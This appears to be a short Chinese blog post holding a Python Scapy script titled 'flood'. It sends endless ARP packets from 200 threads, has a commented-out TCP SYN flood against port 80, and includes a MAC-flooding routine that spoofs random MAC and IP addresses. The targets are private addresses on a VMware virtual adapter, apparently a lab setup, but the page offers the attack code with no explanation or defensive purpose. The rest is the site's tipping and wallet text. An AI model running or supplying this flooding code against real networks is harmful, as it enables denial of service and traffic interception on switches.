Python flood

# -*- coding: utf-8 -*-
# @Time : 2022/6/7 11:09
# @Author : admin
# @Email : 1985264689@qq.com
# @File : flood.py.py
# @Project : 项目
# @脚本说明 :
import random,threading
from scapy.layers.inet import IP,TCP
from scapy.layers.l2 import ARP, Ether
from scapy.sendrecv import send, sendp
from scapy.volatile import RandMAC


def scapy_flood():
    while True:
        sport = random.randint(20000,30000)
        dst = '192.168.0.0'
        src = '192.168.17.0'
        # pkg = IP(src=src,dst=dst)/TCP(sport=sport,dport=80,flags='S')
        # send(pkg,verbose=False)
        arp = ARP(psrc=dst,pdst=dst)
        send(arp,verbose=False,iface='VMware Virtual Ethernet Adapter for VMnet8',loop=0)

def mac_flood():
    while True:
        randmac = RandMAC("*:*:*:*:*:*")
        print(randmac)
        srandip = f"192.168.17.{random.randint(1,254)}"
        drandip = f"192.168.248.{random.randint(1,254)}"
        print(srandip)
        pkg = Ether(src=randmac,dst=randmac)/IP(src=srandip,dst=drandip)
        sendp(pkg,iface='VMware Virtual Ethernet Adapter for VMnet8',loop=0)

if __name__ == '__main__':
    for i in range(200):
        threading.Thread(target=scapy_flood).start()
    # mac_flood()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值